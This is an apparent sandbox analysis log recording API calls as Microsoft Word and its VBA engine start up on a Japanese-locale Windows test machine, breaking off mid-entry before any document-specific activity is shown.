# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 17.08.2020 10:01:16.387 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\winword.exe" page_root = "0x1b9b2000" os_pid = "0x1310" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7c0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINWORD.EXE\" /n" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x1138 Thread: id = 2 os_tid = 0x13f4 Thread: id = 3 os_tid = 0x13e0 Thread: id = 4 os_tid = 0x13d4 Thread: id = 5 os_tid = 0x13c8 Thread: id = 6 os_tid = 0x13c0 Thread: id = 7 os_tid = 0x13bc Thread: id = 8 os_tid = 0x13a0 Thread: id = 9 os_tid = 0x139c Thread: id = 10 os_tid = 0x1398 Thread: id = 11 os_tid = 0x1394 Thread: id = 12 os_tid = 0x1390 Thread: id = 13 os_tid = 0x138c Thread: id = 14 os_tid = 0x1388 Thread: id = 15 os_tid = 0x1384 Thread: id = 16 os_tid = 0x1380 Thread: id = 17 os_tid = 0x137c Thread: id = 18 os_tid = 0x1378 Thread: id = 19 os_tid = 0x1374 Thread: id = 20 os_tid = 0x1368 Thread: id = 21 os_tid = 0x1364 Thread: id = 22 os_tid = 0x1314 [0084.578] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xb5690efa20 | out: lpSystemTimeAsFileTime=0xb5690efa20*(dwLowDateTime=0x8a2e7f79, dwHighDateTime=0x1d6747d)) [0084.578] GetCurrentProcessId () returned 0x1310 [0084.578] GetCurrentThreadId () returned 0x1314 [0084.578] GetTickCount () returned 0x11569a3 [0084.578] QueryPerformanceCounter (in: lpPerformanceCount=0xb5690efa28 | out: lpPerformanceCount=0xb5690efa28*=18056578632) returned 1 [0084.815] __dllonexit () returned 0xff309c0da160000f [0084.815] __dllonexit () returned 0xff309c0e03e0000f [0084.948] __dllonexit () returned 0xff309c0fae60000f [0084.951] __dllonexit () returned 0xff309c0fa560000f [0084.951] __dllonexit () returned 0xff309c0fb560000f [0084.953] __dllonexit () returned 0xff309c0fb160000f [0084.953] __dllonexit () returned 0xff309c0fbd60000f [0084.954] __dllonexit () returned 0xff309c0fb960000f [0084.955] __dllonexit () returned 0xff309c0fc560000f [0084.956] __dllonexit () returned 0xff309c0fc160000f [0084.956] __dllonexit () returned 0xff309c0fcd60000f [0084.957] __dllonexit () returned 0xff309c0fc960000f [0084.958] __dllonexit () returned 0xff309c0fd560000f [0084.958] __dllonexit () returned 0xff309c0fd160000f [0084.959] __dllonexit () returned 0xff309c0fdd60000f [0084.959] __dllonexit () returned 0xff309c0fd960000f [0084.959] __dllonexit () returned 0xff309c0fe560000f [0084.960] __dllonexit () returned 0xff309c015ee0000f [0084.960] __dllonexit () returned 0xff309c0daf60000f [0084.962] __dllonexit () returned 0xff309c016360000f [0084.962] __dllonexit () returned 0xff309c0da8e0000f [0084.963] __dllonexit () returned 0xff309c0db760000f [0084.963] __dllonexit () returned 0xff309c0db360000f [0084.963] __dllonexit () returned 0xff309c0db960000f [0084.964] __dllonexit () returned 0xff309c0dc760000f [0084.964] __dllonexit () returned 0xff309c0dc0e0000f [0084.965] DisableThreadLibraryCalls (hLibModule=0x7ff9bde20000) returned 1 [0084.965] GetVersion () returned 0x3ad7000a [0084.965] lstrcmpiW (lpString1="A", lpString2="B") returned -1 [0084.965] GetUserDefaultLCID () returned 0x411 [0084.965] CompareStringW (Locale=0x411, dwCmpFlags=0x30001, lpString1="A", cchCount1=-1, lpString2="B", cchCount2=-1) returned 1 [0084.965] GetSystemMetrics (nIndex=5) returned 1 [0084.965] GetSystemMetrics (nIndex=6) returned 1 [0084.965] GetSystemMetrics (nIndex=11) returned 32 [0084.965] GetSystemMetrics (nIndex=12) returned 32 [0084.965] GetSystemMetrics (nIndex=34) returned 136 [0084.965] GetSystemMetrics (nIndex=35) returned 39 [0084.966] GetSystemMetrics (nIndex=0) returned 1440 [0084.966] GetSystemMetrics (nIndex=1) returned 900 [0084.966] GetSystemMetrics (nIndex=32) returned 4 [0084.966] GetSystemMetrics (nIndex=33) returned 4 [0084.966] GetSystemMetrics (nIndex=4) returned 23 [0084.966] GetSystemMetrics (nIndex=42) returned 0 [0084.966] GetStockObject (i=15) returned 0x88000b [0084.966] GetStockObject (i=7) returned 0xb00017 [0084.966] GetStockObject (i=6) returned 0xb00018 [0084.966] GetStockObject (i=8) returned 0xb00016 [0084.966] GetStockObject (i=4) returned 0x900011 [0084.966] GetStockObject (i=2) returned 0x900012 [0084.966] GetStockObject (i=0) returned 0x900010 [0084.966] GetStockObject (i=5) returned 0x900015 [0084.966] GetStockObject (i=13) returned 0x8a01c2 [0084.966] GetDC (hWnd=0x0) returned 0x2010471 [0084.967] GetDeviceCaps (hdc=0x2010471, index=14) returned 1 [0084.967] GetDeviceCaps (hdc=0x2010471, index=12) returned 32 [0084.967] GetDeviceCaps (hdc=0x2010471, index=38) returned 32409 [0084.967] ReleaseDC (hWnd=0x0, hDC=0x2010471) returned 1 [0084.967] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x7ff9be1fe048 | out: ppMalloc=0x7ff9be1fe048*=0x7ff9e7edf3f0) returned 0x0 [0088.703] malloc (_Size=0x140) returned 0x27649973790 [0088.704] GetModuleHandleA (lpModuleName=0x0) returned 0x7ff7f3bc0000 [0088.704] QueryActCtxW (in: dwFlags=0x80000010, hActCtx=0x7ff9be1ffeb8, pvSubInstance=0x0, ulInfoClass=0x1, pvBuffer=0xb5690f4ca0, cbBuffer=0x10, pcbWrittenOrRequired=0x0 | out: pvBuffer=0xb5690f4ca0, pcbWrittenOrRequired=0x0) returned 1 [0088.704] ActivateActCtx (in: hActCtx=0x27645609398, lpCookie=0xb5690f4c90 | out: hActCtx=0x27645609398, lpCookie=0xb5690f4c90) returned 1 [0088.704] FindActCtxSectionStringW (in: dwFlags=0x0, lpExtensionGuid=0x0, ulSectionId=0x2, lpStringToFind="Comctl32.dll", ReturnedData=0xb5690f4cb0 | out: ReturnedData=0xb5690f4cb0) returned 1 [0088.704] LoadLibraryW (lpLibFileName="Comctl32.dll") returned 0x7ff9dd020000 [0088.706] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000164) returned 1 [0088.706] RegisterClassA (lpWndClass=0xb5690f4fe0) returned 0xc1f8 [0088.731] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000165) returned 1 [0088.733] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0088.733] SetCursor (hCursor=0x10007) returned 0x10007 [0088.733] _set_invalid_parameter_handler (_Handler=0x7ff9bde2dd8c) returned 0x0 [0088.733] wcscpy_s (in: _Destination=0x2764ae3b208, _SizeInWords=0xb, _Source="7.1\\" | out: _Destination="7.1\\") returned 0x0 [0088.733] wcscpy_s (in: _Destination=0x2764ae3b210, _SizeInWords=0x7, _Source="Common" | out: _Destination="Common") returned 0x0 [0088.733] GetACP () returned 0x4e4 [0088.733] malloc (_Size=0x7e) returned 0x276499738e0 [0088.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word 文書 (*.docm;*.dotm;*.doc;*.dot)", cchWideChar=63, lpMultiByteStr=0x276499738e0, cbMultiByte=126, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word ?? (*.docm;*.dotm;*.doc;*.dot)", lpUsedDefaultChar=0x0) returned 63 [0088.738] GetDC (hWnd=0x0) returned 0x108b8 [0088.739] GetDeviceCaps (hdc=0x108b8, index=88) returned 96 [0088.739] GetDeviceCaps (hdc=0x108b8, index=90) returned 96 [0088.739] MulDiv (nNumber=96, nNumerator=100, nDenominator=96) returned 100 [0088.739] MulDiv (nNumber=96, nNumerator=100, nDenominator=96) returned 100 [0088.739] ReleaseDC (hWnd=0x0, hDC=0x108b8) returned 1 [0089.099] GetModuleHandleExA (in: dwFlags=0x0, lpModuleName="MSI.DLL", phModule=0x7ff9be206ba0 | out: phModule=0x7ff9be206ba0*=0x7ff9d4f90000) returned 1 [0089.148] GetProcAddress (hModule=0x7ff9d4f90000, lpProcName="MsiProvideQualifiedComponentA") returned 0x7ff9d50565b0 [0089.149] GetProcAddress (hModule=0x7ff9d4f90000, lpProcName="MsiGetProductCodeA") returned 0x7ff9d504c070 [0089.149] GetProcAddress (hModule=0x7ff9d4f90000, lpProcName="MsiReinstallFeatureA") returned 0x7ff9d5058a00 [0089.150] GetProcAddress (hModule=0x7ff9d4f90000, lpProcName="MsiProvideComponentA") returned 0x7ff9d5055a10 [0089.154] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0089.154] SysStringLen (param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x43 [0089.154] lstrcpyW (in: lpString1=0xb5690f4d60, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" [0089.155] GetModuleHandleA (lpModuleName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL") returned 0x0 [0089.157] LoadLibraryExA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL", hFile=0x0, dwFlags=0x8) returned 0x7ff9bd8a0000 [0091.797] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000166) returned 1 [0091.797] GetLastError () returned 0x0 [0091.798] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoVBADigSigCallDlg") returned 0x7ff9bd99f500 [0091.799] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoVbaInitSecurity") returned 0x7ff9bd9146c0 [0091.800] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFIEPolicyAndVersion") returned 0x7ff9bd8c1290 [0091.800] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFAnsiCodePageSupportsLCID") returned 0x7ff9bd914570 [0091.801] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFInitOffice") returned 0x7ff9bd8beac0 [0091.802] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoUninitOffice") returned 0x7ff9bd8aefe0 [0091.802] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFGetFontSettings") returned 0x7ff9bd8a4260 [0091.803] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoRgchToRgwch") returned 0x7ff9bd8b2d40 [0091.804] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoHrSimpleQueryInterface") returned 0x7ff9bd8a7e30 [0091.804] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoHrSimpleQueryInterface2") returned 0x7ff9bd8a7dd0 [0091.805] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFCreateControl") returned 0x7ff9bd8a89a0 [0091.806] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFLongLoad") returned 0x7ff9bd9dbea0 [0091.806] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFLongSave") returned 0x7ff9bd9dbee0 [0091.807] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFGetTooltips") returned 0x7ff9bd8b28c0 [0091.809] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFSetTooltips") returned 0x7ff9bd914970 [0091.809] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFLoadToolbarSet") returned 0x7ff9bd903140 [0091.810] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFCreateToolbarSet") returned 0x7ff9bd8a56c0 [0091.811] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoHpalOffice") returned 0x7ff9bd8b0d10 [0091.811] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFWndProcNeeded") returned 0x7ff9bd8a3f40 [0091.812] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFWndProc") returned 0x7ff9bd8a6ed0 [0091.813] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFCreateITFCHwnd") returned 0x7ff9bd8a3f70 [0091.813] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoDestroyITFC") returned 0x7ff9bd8aee30 [0091.814] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFPitbsFromHwndAndMsg") returned 0x7ff9bd8ae5b0 [0091.815] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFGetComponentManager") returned 0x7ff9bd8a7ea0 [0091.815] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoMultiByteToWideChar") returned 0x7ff9bd8b07d0 [0091.816] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoWideCharToMultiByte") returned 0x7ff9bd8a8dd0 [0091.817] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoHrRegisterAll") returned 0x7ff9bd99f390 [0091.817] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFSetComponentManager") returned 0x7ff9bd8b4890 [0091.818] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFCreateStdComponentManager") returned 0x7ff9bd8a4050 [0091.819] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFHandledMessageNeeded") returned 0x7ff9bd8aadc0 [0091.819] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoPeekMessage") returned 0x7ff9bd8aaa00 [0091.820] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFCreateIPref") returned 0x7ff9bd8a17f0 [0091.820] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoDestroyIPref") returned 0x7ff9bd8aef30 [0091.821] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoChsFromLid") returned 0x7ff9bd8a15d0 [0091.822] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoCpgFromChs") returned 0x7ff9bd8a6810 [0091.823] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoSetLocale") returned 0x7ff9bd8a17d0 [0091.851] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoFSetHMsoinstOfSdm") returned 0x7ff9bd8a4000 [0091.852] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoSetVbaInterfaces") returned 0x7ff9bd9a3230 [0091.853] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="MsoGetControlInstanceId") returned 0x7ff9bd974de0 [0091.853] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="VbeuiFIsEdpEnabled") returned 0x7ff9bd9e2eb0 [0091.854] GetProcAddress (hModule=0x7ff9bd8a0000, lpProcName="VbeuiEnterpriseProtect") returned 0x7ff9bd9e2f70 [0092.675] malloc (_Size=0x48) returned 0x27649973970 [0092.676] RegisterClipboardFormatA (lpszFormat="VBM_FHwndIsHctl") returned 0xc1f9 [0092.676] lstrlenA (lpString="") returned 0 [0092.676] malloc (_Size=0x1) returned 0x276499739c0 [0092.676] lstrcpyA (in: lpString1=0x276499739c0, lpString2="" | out: lpString1="") returned="" [0092.676] GetEnvironmentVariableA (in: lpName="DDRYBUR", lpBuffer=0xb5690f4d40, nSize=0x118 | out: lpBuffer="") returned 0x0 [0092.676] SetErrorMode (uMode=0x8001) returned 0x8005 [0092.676] GetModuleFileNameA (in: hModule=0x7ff9bde20000, lpFilename=0xb5690f4a50, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0092.676] lstrcpyA (in: lpString1=0xb5690f4940, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0092.676] lstrcpyA (in: lpString1=0xb5690f4940, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0092.676] lstrcpyA (in: lpString1=0xb5690f4940, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0092.676] lstrcpyA (in: lpString1=0xb5690f4940, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0092.676] lstrcpyA (in: lpString1=0xb5690f4940, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0092.676] lstrcpyA (in: lpString1=0xb5690f4940, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\" [0092.676] strcpy_s (in: _Dst=0xb5690f4b60, _DstSize=0x200, _Src="VBE7INTL.DLL" | out: _Dst="VBE7INTL.DLL") returned 0x0 [0092.676] _ultoa_s (in: _Val=0x411, _DstBuf=0xb5690f46c0, _Size=0x6, _Radix=10 | out: _DstBuf="1041") returned 0x0 [0092.676] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\", _SizeInBytes=0x104, _Source="1041" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041") returned 0x0 [0092.676] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041", _SizeInBytes=0x104, _Source="\\" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\") returned 0x0 [0092.678] strcat_s (in: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\", _SizeInBytes=0x104, _Source="VBE7INTL.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 0x0 [0092.678] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 75 [0092.681] CharToOemBuffA (in: lpszSrc="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL", lpszDst=0xb5690f4570, cchDstLength=0x4c | out: lpszDst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 1 [0092.681] _access_s (_FileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL", _AccessMode=0) returned 0x0 [0092.690] strcpy_s (in: _Dst=0xb5690f47f0, _DstSize=0x104, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 0x0 [0092.693] LoadLibraryA (lpLibFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1041\\VBE7INTL.DLL") returned 0x276498e0000 [0092.718] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000167) returned 1 [0092.718] GetSystemDefaultLCID () returned 0x409 [0092.718] GetUserDefaultLCID () returned 0x411 [0092.718] GetLocaleInfoA (in: Locale=0x400, LCType=0xe, lpLCData=0xb5690f4e80, cchData=2 | out: lpLCData=".") returned 2 [0092.718] GetStockObject (i=13) returned 0x8a01c2 [0092.718] GetObjectA (in: h=0x8a01c2, c=60, pv=0xb5690f4e20 | out: pv=0xb5690f4e20) returned 60 [0092.718] lstrcpyA (in: lpString1=0x7ff9be207260, lpString2="Vbui6.chm" | out: lpString1="Vbui6.chm") returned="Vbui6.chm" [0092.718] lstrcpyA (in: lpString1=0x7ff9be207370, lpString2="VbLR6.chm" | out: lpString1="VbLR6.chm") returned="VbLR6.chm" [0092.797] GetModuleFileNameA (in: hModule=0x7ff9bde20000, lpFilename=0xb5690f4ec0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0092.800] lstrlenA (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 66 [0092.800] malloc (_Size=0x43) returned 0x276499739e0 [0092.801] malloc (_Size=0x43) returned 0x27649973a30 [0092.801] lstrcpyA (in: lpString1=0x276499739e0, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" [0092.801] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0xb5690f4d50 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0092.801] strnlen (_Str="C:\\Users\\FD1HVy\\Desktop", _MaxCount=0x7fffffff) returned 0x17 [0092.801] malloc (_Size=0x18) returned 0x27649973a80 [0092.801] malloc (_Size=0x18) returned 0x27649970730 [0092.804] lstrcpynA (in: lpString1=0x27649973a80, lpString2="C:\\Users\\FD1HVy\\Desktop", iMaxLength=24 | out: lpString1="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0092.804] GetVersionExA (in: lpVersionInformation=0xb5690f4db0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0x43, szCSDVersion="") | out: lpVersionInformation=0xb5690f4db0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0092.804] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="Licenses", phkResult=0xb5690f4cd8 | out: phkResult=0xb5690f4cd8*=0x128a) returned 0x0 [0092.805] strcpy_s (in: _Dst=0xb5690f4ce0, _DstSize=0x80, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0092.805] strcpy_s (in: _Dst=0xb5690f4d60, _DstSize=0xc8, _Src="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Dst="8804558B-B773-11d1-BC3E-0000F87552E7") returned 0x0 [0092.805] _strrev (in: _Str="8804558B-B773-11d1-BC3E-0000F87552E7" | out: _Str="7E25578F0000-E3CB-1d11-377B-B8554088") returned="7E25578F0000-E3CB-1d11-377B-B8554088" [0092.805] RegQueryValueA (in: hKey=0x128a, lpSubKey="8804558B-B773-11d1-BC3E-0000F87552E7", lpData=0xb5690f4d60, lpcbData=0xb5690f4cd0 | out: lpData="\x0f}\x02\x01", lpcbData=0xb5690f4cd0) returned 0x2 [0092.805] RegCloseKey (hKey=0x128a) returned 0x0 [0092.805] OleInitialize (pvReserved=0x0) returned 0x1 [0092.805] OaBuildVersion () returned 0x321396 [0092.806] LoadLibraryA (lpLibFileName="OLEAUT32.DLL") returned 0x7ff9e8160000 [0092.806] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000168) returned 1 [0092.806] GetLastError () returned 0x0 [0092.807] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="SysFreeString") returned 0x7ff9e816cea0 [0092.809] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="LoadTypeLib") returned 0x7ff9e81779a0 [0092.809] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="RegisterTypeLib") returned 0x7ff9e8195590 [0092.811] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="QueryPathOfRegTypeLib") returned 0x7ff9e8195470 [0092.812] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="UnRegisterTypeLib") returned 0x7ff9e8194020 [0092.812] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleTranslateColor") returned 0x7ff9e81779b0 [0092.813] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleCreateFontIndirect") returned 0x7ff9e8161bb0 [0092.814] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleCreatePictureIndirect") returned 0x7ff9e8161c00 [0092.814] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleLoadPicture") returned 0x7ff9e81c13e0 [0092.815] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleCreatePropertyFrameIndirect") returned 0x7ff9e81c1350 [0092.815] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleCreatePropertyFrame") returned 0x7ff9e81c12f0 [0092.816] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleIconToCursor") returned 0x7ff9e81c1390 [0092.816] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="LoadTypeLibEx") returned 0x7ff9e81703c0 [0092.817] GetProcAddress (hModule=0x7ff9e8160000, lpProcName="OleLoadPictureEx") returned 0x7ff9e81c1410 [0092.817] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0092.817] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0092.817] GetClassInfoA (in: hInstance=0x7ff9bde20000, lpClassName="VBBubble", lpWndClass=0xb5690f4e10 | out: lpWndClass=0xb5690f4e10) returned 0 [0092.817] RegisterClassA (lpWndClass=0xb5690f4e10) returned 0xc1fa [0092.817] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad00000169) returned 1 [0092.817] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Count") returned 0x407630 [0092.862] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="_Default") returned 0x40c26a [0092.862] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Item") returned 0x407ad7 [0092.862] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Add") returned 0x4072f7 [0092.862] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Remove") returned 0x40b1cf [0092.862] GlobalAddAtomA (lpString="VBDisabled") returned 0xc150 [0092.862] malloc (_Size=0x90) returned 0x27649970750 [0092.862] RegisterClassExA (param_1=0xb5690f4f30) returned 0xc1fb [0092.862] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad0000016a) returned 1 [0092.863] SetThreadDpiAwarenessContext () returned 0x80000011 [0092.863] CreateWindowExA (dwExStyle=0x80, lpClassName="ThunderMain", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff9bde20000, lpParam=0x0) returned 0x30312 [0092.865] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x81, wParam=0x0, lParam=0xb5690f4850) returned 0x1 [0092.865] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x83, wParam=0x0, lParam=0xb5690f48b0) returned 0x0 [0092.865] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x1, wParam=0x0, lParam=0xb5690f4850) returned 0x0 [0092.866] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0092.866] NtdllDefWindowProc_A (hWnd=0x30312, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0092.866] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10023aad0000016b) returned 1 [0092.866] SetThreadDpiAwarenessContext () returned 0x11 [0092.866] GetVersionExA (in: 